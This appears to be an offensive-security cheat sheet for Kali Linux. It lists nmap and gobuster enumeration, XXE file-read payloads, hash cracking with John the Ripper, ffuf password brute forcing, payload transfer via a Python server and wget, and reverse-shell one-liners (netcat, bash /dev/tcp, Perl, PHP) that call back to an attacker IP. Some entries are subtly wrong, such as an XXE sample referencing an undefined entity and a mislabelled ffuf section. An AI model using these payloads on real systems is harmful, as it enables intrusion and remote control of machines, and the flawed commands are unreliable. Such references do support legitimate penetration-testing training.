10 KiB
10 KiB
Offensive Security Tools
Here you will find a useful collection of commands and file resource locations used in Pentesting operations. This reference is will go hand in hand with Kali Linux.
This is intended to be viewed in the blog found here: Offensive Security Cheat Sheet
General Enumeration
NMAP
# About: A network scanning tool that identifies devices, ports, services, and operating systems
# Download: Pre-installed on Kali Linux
# Usage
nmap -p- --min-rate 5000 -sC -sV {IP ADDRESS}
# UDP Scan
sudo nmap -sU {IP ADDRESS}
# Flags
# -p-: scans ALL ports
# --min-rate <number>: Send packets no slower than <number> per second
# -sC: equivalent to --script=default
# -sV: Probe open ports to determine service/version info
# -sU: UDP port scan
NMAP Automator
# About: Useful script that automates multiple enumeration scans in succession
# Download: https://github.com/21y4d/nmapAutomator/blob/master/nmapAutomator.sh
# Usage
./nmapAutomator.sh --host {IP ADDRESS} --type All
# Flags
# --type Network : Shows all live hosts in the host's network (~15 seconds)
# --type Port : Shows all open ports (~15 seconds)
# --type Script : Runs a script scan on found ports (~5 minutes)
# --type Full : Runs a full range port scan, then runs a thorough scan on new ports (~5-10 minutes)
# --type UDP : Runs a UDP scan "requires sudo" (~5 minutes)
# --type Vulns : Runs CVE scan and nmap Vulns scan on all found ports (~5-15 minutes)
# --type Recon : Suggests recon commands, then prompts to automatically run them
# --type All : Runs all the scans (~20-30 minutes)
Port Enumeration
FTP [21]
ftp
# About: Connect to FTP server
# Download: Pre-installed on Kali Linux
# Usage
ftp {IP ADDRESS}
# Additional Information
# Default Credentials: anonymous
# Directory Command: dir
# Download Command: get
# Upload Command: put
SSH [22]
DNS [53]
TFTP [69]
tftp
# About: Connect to TFTP server
# Download: Pre-installed on Kali Linux
# Usage
tftp {IP ADDRESS}
# Additional Information
# Only detectable via UDP scan
# No authentication required
FINGER [79]
Web Server [80, 443]
gobuster
# About: Used to brute force web directories
# Download: https://github.com/OJ/gobuster/releases
# Usage
gobuster dir -u {IP ADDRESS} -w /usr/share/wordlists/dirb/common.txt
# Notes: Not recursive, only digs one level deep
# Alternative word lists & locations
┌──(kali㉿kali)-[/usr/share/wordlists/dirb]
big.txt
catala.txt
common.txt
euskera.txt
extensions_common.txt
indexes.txt
mutations_common.txt
others
small.txt
spanish.txt
stress
vulns
┌──(kali㉿kali)-[/usr/share/wordlists/dirbuster]
apache-user-enum-1.0.txt
apache-user-enum-2.0.txt
directories.jbrofuzz
directory-list-1.0.txt
directory-list-2.3-small.txt
directory-list-lowercase-2.3-small.txt
directory-list-2.3-medium.txt
directory-list-lowercase-2.3-medium.txt
XXE - XML
# About: Try against weak XML parsers
# Usage Windows
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/system32/drivers/etc/hosts'>]>
<data>&test;</data>
# Usage Linux
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&test;</data>
Kerberos [88]
POP3 [110]
SNMP [161]
LDAP [389]
SMB [445]
smbclient
# About: Used to connect to SMB
# Download: Pre-installed on Kali Linux
# Usage
# List all SMB Shares
smbclient -L {TARGET_IP}
# Authenticate with local credentials
smbclient -N \\\\{TARGET_IP}\\{SHARE}
# Authenticate with Administrator
smbclient -N \\\\{TARGET_IP}\\{SHARE} -u Administrator
MSSQL [1433]
NFS [2049]
RDP [3389]
WINRM [5985, 5986]
# About: A tool used to hack WINRM from a linux console
# Download: Pre-installed on Kali Linux
# Usage
evil-winrm -i {IP ADDRESS} -u {USERNAME} -p {PASSWORD}
# Note: Requires credentials
# {IP ADDRESS}: IP Address of the Server
# {USERNAME}: User Authentication
# {PASSWORD}: Password Authentication
Password Cracking
John The Ripper
# About: A tool used to crack passwords, hashes, and zip files
# Download: Pre-installed on Kali Linux
# Usage - Crack a zip file {FILE.zip} and output hash into text file {FILE.txt}
sudo zip2john {FILE.zip} > {FILE.txt}
# Usage - Crack a rar file {FILE.rar} and output hash into text file {FILE.txt}
sudo rar2john {FILE.rar} > {FILE.txt}
# Usage - Crack a password file {FILE.txt}
john -w=/usr/share/wordlists/rockyou.txt {FILE.txt}
# --format={HASH}: Specifiy a hash type to crack (see below)
:'
descrypt, bsdicrypt, md5crypt, md5crypt-long, bcrypt, scrypt, LM, AFS,
tripcode, AndroidBackup, adxcrypt, agilekeychain, aix-ssha1, aix-ssha256,
aix-ssha512, andOTP, ansible, argon2, as400-des, as400-ssha1, asa-md5,
AxCrypt, AzureAD, BestCrypt, BestCryptVE4, bfegg, Bitcoin, BitLocker,
bitshares, Bitwarden, BKS, Blackberry-ES10, WoWSRP, Blockchain, chap,
Clipperz, cloudkeychain, dynamic_n, cq, CRC32, cryptoSafe, sha1crypt,
sha256crypt, sha512crypt, Citrix_NS10, dahua, dashlane, diskcryptor, Django,
django-scrypt, dmd5, dmg, dominosec, dominosec8, DPAPImk, dragonfly3-32,
dragonfly3-64, dragonfly4-32, dragonfly4-64, Drupal7, eCryptfs, eigrp,
electrum, EncFS, enpass, EPI, EPiServer, ethereum, fde, Fortigate256,
Fortigate, FormSpring, FVDE, geli, gost, gpg, HAVAL-128-4, HAVAL-256-3, hdaa,
hMailServer, hsrp, IKE, ipb2, itunes-backup, iwork, KeePass, keychain,
keyring, keystore, known_hosts, krb4, krb5, krb5asrep, krb5pa-sha1, krb5tgs,
krb5-17, krb5-18, krb5-3, kwallet, lp, lpcli, leet, lotus5, lotus85, LUKS,
MD2, mdc2, MediaWiki, monero, money, MongoDB, scram, Mozilla, mscash,
mscash2, MSCHAPv2, mschapv2-naive, krb5pa-md5, mssql, mssql05, mssql12,
multibit, mysqlna, mysql-sha1, mysql, net-ah, nethalflm, netlm, netlmv2,
net-md5, netntlmv2, netntlm, netntlm-naive, net-sha1, nk, notes, md5ns,
nsec3, NT, o10glogon, o3logon, o5logon, ODF, Office, oldoffice,
OpenBSD-SoftRAID, openssl-enc, oracle, oracle11, Oracle12C, osc, ospf,
Padlock, Palshop, Panama, PBKDF2-HMAC-MD4, PBKDF2-HMAC-MD5, PBKDF2-HMAC-SHA1,
PBKDF2-HMAC-SHA256, PBKDF2-HMAC-SHA512, PDF, PEM, pfx, pgpdisk, pgpsda,
pgpwde, phpass, PHPS, PHPS2, pix-md5, PKZIP, po, postgres, PST, PuTTY,
pwsafe, qnx, RACF, RACF-KDFAES, radius, RAdmin, RAKP, rar, RAR5, Raw-SHA512,
Raw-Blake2, Raw-Keccak, Raw-Keccak-256, Raw-MD4, Raw-MD5, Raw-MD5u, Raw-SHA1,
Raw-SHA1-AxCrypt, Raw-SHA1-Linkedin, Raw-SHA224, Raw-SHA256, Raw-SHA3,
Raw-SHA384, restic, ripemd-128, ripemd-160, rsvp, RVARY, Siemens-S7,
Salted-SHA1, SSHA512, sapb, sapg, saph, sappse, securezip, 7z, Signal, SIP,
skein-256, skein-512, skey, SL3, Snefru-128, Snefru-256, LastPass, SNMP,
solarwinds, SSH, sspr, Stribog-256, Stribog-512, STRIP, SunMD5, SybaseASE,
Sybase-PROP, tacacs-plus, tcp-md5, telegram, tezos, Tiger, tc_aes_xts,
tc_ripemd160, tc_ripemd160boot, tc_sha512, tc_whirlpool, vdi, OpenVMS, vmx,
VNC, vtp, wbb3, whirlpool, whirlpool0, whirlpool1, wpapsk, wpapsk-pmk,
xmpp-scram, xsha, xsha512, zed, ZIP, ZipMonster, plaintext, has-160,
HMAC-MD5, HMAC-SHA1, HMAC-SHA224, HMAC-SHA256, HMAC-SHA384, HMAC-SHA512,
dummy, crypt
'
Flyff
# About: A tool used to brute force web credentials
# Download: Pre-installed on Kali Linux
# Usage - One variable FUZZ
ffuf -c -request {FILE.req} -request-proto http -w /usr/share/seclists/Passwords/probable-v2-top1575.txt -fr "{FILTER}"
# EXAMPLE {FILE}
username=admin$password=FUZZ
Payload File Transfer
Python Server [STEP 1]
# About: A python command used to open a server on the client machine
# Download: Pre-installed on Kali Linux
# USAGE - Host on client machine
sudo python3 -m http.server {PORT}
# {PORT}: Port to open for file transfer
WGET [STEP 2]
# About: A command used to download files on the current machine
# Download: Pre-installed on Kali Linux
# Usage - Download on server machine
wget http://{IP ADDRESS}/{FILE} -outfile {FILE}
# {IP ADDRESS}: IP Address of the client from step one (python server)
# {FILE}: The payload to be transferred
Privilege Escalation
Reverse Shell
NC Listen - Client [STEP 1]
# About: A command used to listen to requests from a defined port
# Download: Pre-installed on Kali Linux
# Usage
sudo nc –lnvp {PORT}
# {PORT}: Select the port used to listen
NC Execute - Server [STEP 2]
# With Netcat installed
# Usage - Windows
nc.exe -e cmd.exe {IP ADDRESS} {PORT}
# Usage - Linux
nc {IP ADDRESS} {PORT} –e /bin/bash
# ===========================================
# Without Netcat installed
# Usage - transfer payload via file transfer and execute binary
# Usage - Linux
bash -i >& /dev/tcp/{IP ADDRESS}/{PORT} 0>&1
# Usage - Perl
perl -e ‘use Socket;$i=”{IP ADDRESS}″;$p={PORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
# Usage - PHP
php -r ‘$sock=fsockopen(“{IP ADDRESS}”,{PORT});exec(“/bin/sh -i <&3 >&3 2>&3”);’
# {IP ADDRESS}: IP Address of the client from step one (listener)
# {PORT}: Port of the client from step one (listener)
Shell Upgrade
Python
# About: A command spawn a new shell using python
# Download: May or may not be installed on server machine
# Usage
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
# Additional Functionality
CTRL&Z
stty raw -echo; fg;
export TERM=xterm